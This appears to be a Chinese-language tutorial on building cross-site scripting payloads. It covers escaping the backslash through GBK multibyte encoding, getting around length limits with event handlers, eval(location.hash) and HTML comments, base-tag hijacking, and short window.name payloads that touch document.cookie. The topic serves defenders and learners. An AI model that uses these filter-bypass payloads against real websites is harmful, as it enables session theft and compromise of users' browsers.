本文主要介绍如何进行构造XSS

利用字符编码

  1. 应用场景

    网站对用户的输入中的双引号等特殊符号进行了转义

  2. 方法

    构造字符编码吃掉转义符号

  3. 例子

    网站在一个 <script> 标签里面输出了一个用户输入的变量

    1
    var redirectUrl=" ";

    如果我们输入以下内容:

    1
    ";alert(/XSS/);

    因为双引号被转义,所以在html页面上的输出如下:

    1
    var redirectUrl="\";alert(/XSS/);";

    并不能执行后面的XSS代码

    javascript中的转义字符是 \,会将特殊符号如单引号、双引号等构造成 \', \" 的形式。

    在这里的话 \" 就直接被视作文本的 " 了,而并不会和前面的前引号 " 形成闭合。

    但是,百度的返回页面是 GBK/GB2312 编码的,因此 %c1\ 这两个字符组合在一起后,会成为一个Unicode字符。在firefox浏览器中会认为这是一个字符,所以构造xss攻击代码如下:

    1
    %c1";alert(/XSS/);//

    在页面上,引号 %c1" 被转义成 %c1\" ,而 %c1\ 组成了一个新的Unicode字符,吃掉了转义符号 \,从而让构造的 " 和前面的前引号形成闭合绕过了系统的安全检查,成功实施了XSS注入。

绕过长度限制

  1. 应用场景

    有时候服务器端可能对输入变量的长度进行了限制,长度限制不足以构造XSS

  2. 方法

    1)使用event

    • onclick

    2)将payload写到别处,通过简短的代码加载这段XSS payload

    • loaction.hash

      location.hash 是 JavaScript 中 location 对象的一个属性,它返回 URL 中的哈希/锚部分(即 # 号及其后面的部分)。

      location.hash 对象的具体解释: location.hash详解

      因为哈希部分不会被发送到服务器,所以服务器端的Web日志中并不会记录下location.hash 里的内容,从而也更好地隐藏了黑客真实的意图。

      location.hash 没有长度限制,所以可以将XSS代码写在location.hash 部分,然后在页面中限制长度的地方构造代码执行location.hash

    • 远程加载js文件

    • 利用注释符

  3. 例子

    1)onclick

    构造文本框内输入

    1
    <input type=text value="" onclick=alert(1)// "/>

    2.1)loaction.hash

    构造url为:

    1
    http://www.a.com/test.html#alert(1)

    这里的 #alert(1) 就是location.hash

    构造网页中的文本输入框为:

    1
    <input type="text" value="" onclick="eval(location.hash.substr(1)) " />

    eval()函数:

    • 如果参数是一个表达式,eval() 函数将执行表达式。
    • 如果参数是 Javascript 语句,eval() 将执行 Javascript 语句。

    当我们点击这个文本框的时候,会执行 location.hash 中的代码,并去掉哈希部分的第一个字符(#

    因此,当用户点击这个输入框时, location.hash#alert(1),去掉第一个字符后,eval 函数将执行 alert(1),从而弹出一个警告框。

    这样就成功执行了我们构造的XSS攻击代码。

    2.3)利用注释符

    网站上存在两个文本框,第一个文本框存在长度限制,第二个文本框允许写入更多的字节。

    此时可以利用HTML的“注释符号”,把两个文本框之间的HTML代码全部注释掉,从而“打通”两个<input> 标签。

    例,有2个文本框

    1
    2
    3
    <input id=1 type="text" value="" />
    xxxxxxxxxxxxx
    <input id=2 type="text" value="" />

    在第一个input文本框中,输入:

    1
    " onfocus="var a='This is a long ';"><!--

    onfocus 事件是一个 JavaScript 事件,它在元素获得焦点时触发。焦点是指用户通过点击、触摸或使用键盘(如 Tab 键)将输入光标或选中状态移动到某个元素上。

    在 HTML 中,onfocus 事件可以直接在元素标签内部指定

    在第二个input文本框中,输入:

    1
    --><script>alert(a + 'XSS attack!');</script>

    最终生成的html代码如下:

    1
    2
    3
    <input id="input1" type="text" value="" onfocus="var a='This is a long ';"><!--" />
    <!-- Some HTML content or other inputs -->
    <input id="input2" type="text" value="--><script>alert(a + 'XSS attack!');</script>" />

    在这个例子中,当第一个文本框获得焦点时,会执行 onfocus 事件中的JavaScript代码,定义了一个变量 a。由于第一个文本框的值以 "><!-- 结尾,它实际上将中间的HTML内容注释掉了,直到遇到第二个文本框中的 -->,这结束了注释。然后,第二个文本框中的 <script> 标签被正确解析并执行,弹出带有完整消息的警告框。

    通过这种方式,我们成功地将较长的攻击代码分割成两个部分,并利用HTML注释符将它们连接起来,绕过了单个输入字段的长度限制。

使用base标签

<base> 标签的作用是定义页面上的所有使用“相对路径”标签的hosting地址,可以作用于该标签之后的所有标签。

例如:

这样访问的img路径就是 http://www.google.com/intl/en_ALL/images/srpr/logo1w.png

1
2
3
4
<body>
<base href="http://www.google.com" />
<img src="/intl/en_ALL/images/srpr/logo1w.png" />
</body>

攻击者如果在页面中插入了 <base> 标签,就可以通过在远程服务器上伪造图片、链接或脚本,劫持当前页面中的所有使用“相对路径”的标签。

因此需要对这个标签进行过滤。

window.name

对当前窗口的window.name 对象赋值,没有特殊字符的限制。

因为window对象是浏览器的窗体,而并非document对象,因此很多时候window对象不受同源策略的限制。黑客利用这个对象,可以实现跨域、跨页面传递数据。

使用window.name 可以缩短XSS Payload的长度,如下所示:

1
2
3
4
<script>
window.name = "alert(document.cookie)";
locaton.href = "http://www.xssedsite.com/xssed.php";
</script>

在同一窗口打开存在XSS的站点后,只需通过XSS执行name中的代码即可:

1
eval(name);

只有11个字节,短到了极点。